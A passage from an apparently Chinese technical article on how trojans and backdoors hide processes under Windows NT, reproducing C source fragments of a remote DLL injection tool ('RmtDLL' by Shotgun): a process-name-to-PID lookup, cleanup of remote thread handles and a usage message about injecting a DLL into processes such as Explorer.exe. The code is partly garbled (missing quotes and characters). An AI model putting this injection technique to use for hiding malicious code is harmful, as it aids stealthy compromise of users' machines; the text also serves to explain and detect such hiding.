木馬/后門程序在WINNT中進(jìn)程隱藏及查找的方法
// 計(jì)算目前有多少進(jìn)程, aProcesses[]用來存放有效的進(jìn)程PIDs本文引用地址:http://2s4d.com/article/148821.htm
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), cbNeeded ) ) return 0;
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍歷所有的進(jìn)程
for ( i = 0; i cProcesses; i++ )
{
// 打開特定PID的進(jìn)程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的進(jìn)程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, hMod, sizeof(hMod), cbNeeded) )
{
GetModuleBaseName( hProcess, hMod,
szProcessName, sizeof(szProcessName) );
//將取得的進(jìn)程名與輸入的進(jìn)程名比較,如相同則返回進(jìn)程PID
if(!_stricmp(szProcessName, InputProcessName)){
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//沒有找到相應(yīng)的進(jìn)程名,返回0
CloseHandle( hProcess );
return 0;
}//end of ProcessToPID
//錯誤處理函數(shù)CheckError()
//如果iReturnCode等于iErrorCode,則輸出pErrorMsg并退出
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode) {
printf(%s Error:%dnn, pErrorMsg, GetLastError());
//清場處理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
exit(0);
}
}//end of CheckError()
//使用方法說明函數(shù)usage()
void usage(char * pErrorMsg)
{
printf(%snn,pErrorMsg);
printf(ttRemote Process DLL by Shotgunn);
printf(tThis program can inject a DLL into remote processn);
printf(Email:n);
printf(tShotgun@Xici.Netn);
printf(HomePage:n);
printf(thttp://It.Xici.Netn);
printf(thttp://www.Patching.Netn);
printf(USAGE:n);
printf(tRmtDLL.exe PID[|ProcessName] DLLFullPathNamen);
printf(Example:n);
printf(tRmtDLL.exe 1024 C:WINNTSystem32MyDLL.dlln);
printf(tRmtDLL.exe Explorer.exe C:MyDLL.dlln);
exit(0);
}//end of usage()
評論